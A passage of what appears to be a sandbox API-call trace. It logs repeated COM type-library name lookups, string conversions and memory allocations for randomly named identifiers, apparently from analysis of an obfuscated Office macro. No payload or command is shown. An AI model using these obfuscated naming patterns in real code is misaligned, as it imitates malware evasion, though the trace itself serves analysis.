pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.120] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.120] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.120] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_IlwvfZ" | out: _Dst="_B_var_IlwvfZ") returned 0x0 [0019.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_IlwvfZ") returned 14 [0019.120] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.121] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_IlwvfZ", lHashVal=0x1073b1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.121] IUnknown:Release (This=0x7919520) returned 0x10 [0019.121] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.121] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_IlwvfZ", lHashVal=0x1073b1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.121] IUnknown:Release (This=0x7346470) returned 0xb [0019.121] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.121] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_IlwvfZ", lHashVal=0x1073b1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.121] IUnknown:Release (This=0x7345930) returned 0x7 [0019.121] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.121] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_IlwvfZ", lHashVal=0x1073b1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.121] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.121] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.121] IUnknown:Release (This=0x7919520) returned 0x10 [0019.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a26c, cbMultiByte=36, lpWideCharStr=0xd46112c, cchWideChar=74 | out: lpWideCharStr="fXvnsibkTIQvd mGPsTwNVYFHhBuCvOdpXf") returned 36 [0019.121] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fCDBtsOf") returned 0x10dc2c [0019.121] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="fCDBtsOf" | out: _Dst="fCDBtsOf") returned 0x0 [0019.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="fCDBtsOf") returned 9 [0019.121] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.121] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="fCDBtsOf", lHashVal=0x10dc2c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.121] IUnknown:Release (This=0x7919520) returned 0x10 [0019.121] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.121] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="fCDBtsOf", lHashVal=0x10dc2c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.121] IUnknown:Release (This=0x7346470) returned 0xb [0019.121] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.121] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="fCDBtsOf", lHashVal=0x10dc2c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.121] IUnknown:Release (This=0x7345930) returned 0x7 [0019.121] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.121] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="fCDBtsOf", lHashVal=0x10dc2c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.121] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.121] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.121] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_fCDBtsOf" | out: _Dst="_B_var_fCDBtsOf") returned 0x0 [0019.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_fCDBtsOf") returned 16 [0019.121] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.121] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_fCDBtsOf", lHashVal=0x10b3b5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.121] IUnknown:Release (This=0x7919520) returned 0x10 [0019.121] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.122] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_fCDBtsOf", lHashVal=0x10b3b5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.122] IUnknown:Release (This=0x7346470) returned 0xb [0019.122] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.122] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_fCDBtsOf", lHashVal=0x10b3b5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.122] IUnknown:Release (This=0x7345930) returned 0x7 [0019.122] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.122] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_fCDBtsOf", lHashVal=0x10b3b5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.122] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.122] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.122] IUnknown:Release (This=0x7919520) returned 0x10 [0019.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a2c6, cbMultiByte=10, lpWideCharStr=0xd4622dc, cchWideChar=22 | out: lpWideCharStr="bwJLTijhzC") returned 10 [0019.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a2da, cbMultiByte=10, lpWideCharStr=0xd462486, cchWideChar=22 | out: lpWideCharStr="EZzWSCCUvn") returned 10 [0019.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a2ee, cbMultiByte=10, lpWideCharStr=0xd462630, cchWideChar=22 | out: lpWideCharStr="lzTbChjqid") returned 10 [0019.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a302, cbMultiByte=10, lpWideCharStr=0xd4627da, cchWideChar=22 | out: lpWideCharStr="KRlisLvrMo") returned 10 [0019.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a316, cbMultiByte=10, lpWideCharStr=0xd462984, cchWideChar=22 | out: lpWideCharStr="bVWjjLKhJf") returned 10 [0019.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a32a, cbMultiByte=10, lpWideCharStr=0xd462b2e, cchWideChar=22 | out: lpWideCharStr="QARTSiiiIm") returned 10 [0019.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a33e, cbMultiByte=10, lpWideCharStr=0xd462cd8, cchWideChar=22 | out: lpWideCharStr="CtwUsmnTiH") returned 10 [0019.123] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd470000 [0019.124] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WtToIuAFpi") returned 0x10b07a [0019.124] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="WtToIuAFpi" | out: _Dst="WtToIuAFpi") returned 0x0 [0019.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="WtToIuAFpi") returned 11 [0019.124] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.124] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WtToIuAFpi", lHashVal=0x10b07a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.124] IUnknown:Release (This=0x7919520) returned 0x10 [0019.124] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.124] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WtToIuAFpi", lHashVal=0x10b07a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.124] IUnknown:Release (This=0x7346470) returned 0xb [0019.124] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.124] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WtToIuAFpi", lHashVal=0x10b07a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.124] IUnknown:Release (This=0x7345930) returned 0x7 [0019.124] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.124] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WtToIuAFpi", lHashVal=0x10b07a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.124] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.124] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.124] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_WtToIuAFpi" | out: _Dst="_B_var_WtToIuAFpi") returned 0x0 [0019.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_WtToIuAFpi") returned 18 [0019.124] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.124] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WtToIuAFpi", lHashVal=0x101ea5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.124] IUnknown:Release (This=0x7919520) returned 0x10 [0019.124] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.124] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WtToIuAFpi", lHashVal=0x101ea5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.124] IUnknown:Release (This=0x7346470) returned 0xb [0019.124] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.125] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WtToIuAFpi", lHashVal=0x101ea5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.125] IUnknown:Release (This=0x7345930) returned 0x7 [0019.125] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.125] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WtToIuAFpi", lHashVal=0x101ea5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.125] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.125] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.125] IUnknown:Release (This=0x7919520) returned 0x10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a35c, cbMultiByte=10, lpWideCharStr=0xd47114c, cchWideChar=22 | out: lpWideCharStr="VbuGGBlmaf") returned 10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a376, cbMultiByte=10, lpWideCharStr=0xd471596, cchWideChar=22 | out: lpWideCharStr="dJpdJfslwm") returned 10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a38a, cbMultiByte=10, lpWideCharStr=0xd471740, cchWideChar=22 | out: lpWideCharStr="IhRAPzLwHl") returned 10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a39e, cbMultiByte=10, lpWideCharStr=0xd4718ea, cchWideChar=22 | out: lpWideCharStr="SLZmIRdruS") returned 10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a3b2, cbMultiByte=10, lpWideCharStr=0xd471a94, cchWideChar=22 | out: lpWideCharStr="sIEwdIAjBi") returned 10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a3c6, cbMultiByte=10, lpWideCharStr=0xd471c3e, cchWideChar=22 | out: lpWideCharStr="zoSWZoJtrJ") returned 10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a3da, cbMultiByte=10, lpWideCharStr=0xd471de8, cchWideChar=22 | out: lpWideCharStr="qofoMRjCVr") returned 10 [0019.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a3ee, cbMultiByte=10, lpWideCharStr=0xd471f92, cchWideChar=22 | out: lpWideCharStr="BArjtAcTXG") returned 10 [0019.126] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd480000 [0019.127] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PlDpRw") returned 0x10938c [0019.127] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="PlDpRw" | out: _Dst="PlDpRw") returned 0x0 [0019.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="PlDpRw") returned 7 [0019.127] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.127] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="PlDpRw", lHashVal=0x10938c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.127] IUnknown:Release (This=0x7919520) returned 0x10 [0019.127] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.127] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="PlDpRw", lHashVal=0x10938c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.127] IUnknown:Release (This=0x7346470) returned 0xb [0019.127] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.127] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="PlDpRw", lHashVal=0x10938c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.127] IUnknown:Release (This=0x7345930) returned 0x7 [0019.127] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.127] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="PlDpRw", lHashVal=0x10938c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.127] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.127] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.127] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_PlDpRw" | out: _Dst="_B_var_PlDpRw") returned 0x0 [0019.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_PlDpRw") returned 14 [0019.127] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.127] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_PlDpRw", lHashVal=0x100df6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.127] IUnknown:Release (This=0x7919520) returned 0x10 [0019.127] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.127] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_PlDpRw", lHashVal=0x100df6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.127] IUnknown:Release (This=0x7346470) returned 0xb [0019.127] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.128] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_PlDpRw", lHashVal=0x100df6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.128] IUnknown:Release (This=0x7345930) returned 0x7 [0019.128] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.128] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_PlDpRw", lHashVal=0x100df6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.128] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.128] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.128] IUnknown:Release (This=0x7919520) returned 0x10 [0019.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a426, cbMultiByte=10, lpWideCharStr=0xd480856, cchWideChar=22 | out: lpWideCharStr="rHEIBSFAsR") returned 10 [0019.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a43a, cbMultiByte=10, lpWideCharStr=0xd480a00, cchWideChar=22 | out: lpWideCharStr="EjinizwdZo") returned 10 [0019.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a44e, cbMultiByte=10, lpWideCharStr=0xd480baa, cchWideChar=22 | out: lpWideCharStr="oKKmvpYmlJ") returned 10 [0019.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a462, cbMultiByte=10, lpWideCharStr=0xd480d54, cchWideChar=22 | out: lpWideCharStr="ICNJZCVHCU") returned 10 [0019.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a476, cbMultiByte=10, lpWideCharStr=0xd480efe, cchWideChar=22 | out: lpWideCharStr="nIQJIMIuJE") returned 10 [0019.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a48a, cbMultiByte=10, lpWideCharStr=0xd4810a8, cchWideChar=22 | out: lpWideCharStr="CjlOajzRML") returned 10 [0019.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a49e, cbMultiByte=10, lpWideCharStr=0xd481252, cchWideChar=22 | out: lpWideCharStr="uSPjIBWZOb") returned 10 [0019.129] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LjVDFUQW") returned 0x107ee4 [0019.129] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="LjVDFUQW" | out: _Dst="LjVDFUQW") returned 0x0 [0019.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="LjVDFUQW") returned 9 [0019.129] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.129] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LjVDFUQW", lHashVal=0x107ee4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.129] IUnknown:Release (This=0x7919520) returned 0x10 [0019.129] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.129] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LjVDFUQW", lHashVal=0x107ee4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.129] IUnknown:Release (This=0x7346470) returned 0xb [0019.129] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.129] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LjVDFUQW", lHashVal=0x107ee4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.129] IUnknown:Release (This=0x7345930) returned 0x7 [0019.129] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.129] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LjVDFUQW", lHashVal=0x107ee4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.129] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.129] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.129] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_LjVDFUQW" | out: _Dst="_B_var_LjVDFUQW") returned 0x0 [0019.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_LjVDFUQW") returned 16 [0019.129] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.129] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LjVDFUQW", lHashVal=0x10566d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.129] IUnknown:Release (This=0x7919520) returned 0x10 [0019.129] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.129] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LjVDFUQW", lHashVal=0x10566d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.129] IUnknown:Release (This=0x7346470) returned 0xb [0019.129] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.129] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LjVDFUQW", lHashVal=0x10566d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.129] IUnknown:Release (This=0x7345930) returned 0x7 [0019.129] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.129] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LjVDFUQW", lHashVal=0x10566d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.129] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.129] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.129] IUnknown:Release (This=0x7919520) returned 0x10 [0019.130] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jzmRcsTJOf") returned 0x101179 [0019.130] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="jzmRcsTJOf" | out: _Dst="jzmRcsTJOf") returned 0x0 [0019.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="jzmRcsTJOf") returned 11 [0019.130] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.130] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jzmRcsTJOf", lHashVal=0x101179, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.130] IUnknown:Release (This=0x7919520) returned 0x10 [0019.130] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.130] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jzmRcsTJOf", lHashVal=0x101179, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.130] IUnknown:Release (This=0x7346470) returned 0xb [0019.130] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.130] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jzmRcsTJOf", lHashVal=0x101179, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.130] IUnknown:Release (This=0x7345930) returned 0x7 [0019.130] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.130] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jzmRcsTJOf", lHashVal=0x101179, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.130] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.130] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.130] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_jzmRcsTJOf" | out: _Dst="_B_var_jzmRcsTJOf") returned 0x0 [0019.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_jzmRcsTJOf") returned 18 [0019.130] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.130] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jzmRcsTJOf", lHashVal=0x107fe3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.130] IUnknown:Release (This=0x7919520) returned 0x10 [0019.130] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.130] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jzmRcsTJOf", lHashVal=0x107fe3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.130] IUnknown:Release (This=0x7346470) returned 0xb [0019.130] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.130] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jzmRcsTJOf", lHashVal=0x107fe3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.130] IUnknown:Release (This=0x7345930) returned 0x7 [0019.130] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.130] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jzmRcsTJOf", lHashVal=0x107fe3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.130] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.130] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.130] IUnknown:Release (This=0x7919520) returned 0x10 [0019.130] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd490000 [0019.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a4fc, cbMultiByte=10, lpWideCharStr=0xd49049c, cchWideChar=22 | out: lpWideCharStr="wivcoisDNU") returned 10 [0019.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a516, cbMultiByte=10, lpWideCharStr=0xd4908e6, cchWideChar=22 | out: lpWideCharStr="IjAkbEcQmL") returned 10 [0019.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a52a, cbMultiByte=10, lpWideCharStr=0xd490a90, cchWideChar=22 | out: lpWideCharStr="ZwKJdwzmcZ") returned 10 [0019.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a53e, cbMultiByte=10, lpWideCharStr=0xd490c3a, cchWideChar=22 | out: lpWideCharStr="LqWkMLtDAi") returned 10 [0019.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a552, cbMultiByte=10, lpWideCharStr=0xd490de4, cchWideChar=22 | out: lpWideCharStr="YjoBjRzGEp") returned 10 [0019.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a566, cbMultiByte=10, lpWideCharStr=0xd490f8e, cchWideChar=22 | out: lpWideCharStr="XMhLhwUlws") returned 10 [0019.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 